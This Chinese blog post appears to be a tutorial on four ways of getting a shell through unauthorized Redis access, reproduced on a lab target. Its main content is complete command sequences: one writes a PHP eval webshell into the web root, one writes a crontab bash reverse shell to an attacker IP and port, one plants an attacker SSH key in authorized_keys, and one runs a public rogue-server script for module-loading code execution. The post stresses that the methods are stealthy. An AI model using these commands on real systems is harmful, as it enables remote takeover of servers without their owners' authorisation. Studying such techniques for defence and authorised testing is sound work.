Redis数据库四种getshell方法研究

一、直接写入webshell

前置条件:已经目标网站的服务路径。(通常利用网站根目录,确保shell文件能被解析)。

步骤如下:

php 复制代码
1.查看 Redis 当前的 dir 配置
CONFIG GET dir
2.修改 dir 为 Nginx 网页根目录
CONFIG SET dir /usr/share/nginx/html
3.修改 RDB 持久化文件名为 PHP 文件
CONFIG SET dbfilename shell.php
4.写入 PHP 一句话木马
SET webshell "<?php @eval($_POST['cmd']);?>"
5.触发 RDB 持久化
SAVE

本地靶场复现截图:

二、定时任务写入反弹Shell​

通过写入 Linux 定时任务(crontab)实现反弹 Shell。这种方式无需依赖 Nginx/PHP 等 Web 服务,是 Redis 未授权访问攻击中更隐蔽、更通用的手段(适配无 Web 服务的 Redis 服务器)。

核心原理:Linux 系统中,crond 守护进程会每分钟检查 /var/spool/cron/root(root 用户的定时任务文件),执行里面的命令;Redis 利用 CONFIG SET 修改持久化目录为定时任务目录、文件名改为 root,将反弹 Shell 命令写入该文件,系统会自动执行命令,让靶机主动连接攻击机的监听端口,实现控制。

前置条件:能连接上redis数据库。

步骤如下:

php 复制代码
首先在kali开启监听端口:nc -lvvp 6666
然后写入定时任务:
1.	修改持久化目录为 CentOS 定时任务目录
CONFIG SET dir /var/spool/cron/
2.	修改 RDB 文件名为 root(对应 root 用户的定时任务文件) 
CONFIG SET dbfilename root
3.	写入反弹 Shell 定时任务命令
SET cron "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.0.241/6666 0>&1\n"
4.	触发 RDB 持久化(将命令写入 /var/spool/cron/root 文件) 
SAVE

截图:

靶机成功上线

三、写SSH公钥登录服务器​

原理:Linux SSH 公钥认证的核心是「客户端(Kali)的公钥写入服务端(CentOS)/root/.ssh/authorized_keys 文件」,服务端 SSH 服务会验证该文件中的公钥,匹配成功则免密码登录。Redis 利用 CONFIG SET 修改持久化目录为 /root/.ssh/、文件名改为 authorized_keys,将 Kali 的 SSH 公钥写入该文件,从而实现免密码登录。

前置条件:

1.受害机器SSH 服务正常运行

2.Redis有权限写入/root/.ssh/

步骤:

先在攻击机上生成SSH密钥对

php 复制代码
1.ssh-keygen -t rsa  #生成密钥对
2.cat /root/.ssh/id_rsa.pub   #查看

步骤如下:

php 复制代码
1.修改持久化目录为 root 的 .ssh 目录
CONFIG SET dir /root/.ssh/
2.修改 RDB 文件名为 authorized_keys(SSH 公钥认证的核心文件)
CONFIG SET dbfilename authorized_keys
3.写入 Kali 的 SSH 公钥(替换为你复制的公钥内容,保留双引号)
SET sshkey "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQ...省略...w== root@kali\n"
4.触发 RDB 持久化(将公钥写入 /root/.ssh/authorized_keys)
SAVE

注意:

公钥前后加 \n:避免 Redis RDB 二进制头混入公钥文件,确保公钥单独成行(SSH 对 authorized_keys 格式敏感,多余字符会导致认证失败)

截图:

直接ssh连接成功

​​四:Redis主从复制GetShell​

原理:

  • Redis 主从复制:Redis 支持「主节点(master)- 从节点(slave)」架构,从节点会主动同步主节点的所有数据、配置,甚至能向主节点请求「加载自定义模块」;
  • Redis 模块机制 :Redis 4.0+ 新增 MODULE 命令,允许加载 .so 格式的共享库文件(模块),扩展 Redis 原生命令(比如新增 system.exec 命令来执行系统指令)。

核心优势:相比前三种方式,无需依赖 Web/SSH/crond 服务,无需写入文件,仅利用 Redis 自身机制即可 Getshell,隐蔽性拉满。

版本要求:

  • 适用:Redis 4.0.x/ 5.0.x
  • 不适用:Redis 6.0+(新增模块加载权限校验)、7.0+(防护更严格)

这里我看网上有很多教程,有的比较复杂,这里使用一种最简单的,用一位师傅写的脚本来实现一getshell:

php 复制代码
1.克隆到本地
git clone https://github.com/Dliv3/redis-rogue-server.git
2.切换目录
cd redis-rogue-server
3.一键运行脚本
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

--passwd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码

截图:

相关推荐
执笔画情ora20 小时前
Postgresql数据库管理-pg_xact
数据库·postgresql·oracle
南棱笑笑生20 小时前
20260310在瑞芯微原厂RK3576的Android14查看系统休眠时间
服务器·网络·数据库·rockchip
XDHCOM20 小时前
ORA-32152报错咋整啊,数据库操作遇到null number问题远程帮忙修复
服务器·数据库·oracle
专利观察员20 小时前
输配电行业创新转型实践:南宁迪**力有限公司的专利策略调整、专利检索工具采用
数据库·科技·专利·专利申请
jgyzl21 小时前
2026.3.9 Redis内存回收内存淘汰
数据库·redis·缓存
白露与泡影21 小时前
MySQL 时间类型选型避坑:timestamp 和 datetime 该怎么选?
数据库·mysql
Atomic1213821 小时前
frp 内网穿透工具详细使用指南
web安全·网络安全·渗透测试
青槿吖1 天前
第二篇:告别XML臃肿配置!Spring注解式IOC/DI保姆级教程,从入门到真香
xml·java·开发语言·数据库·后端·sql·spring
运维 小白1 天前
2. 部署mysql服务并监控mysql
数据库·mysql·adb
聪明人1 天前
macOS安装Redis
数据库·redis·macos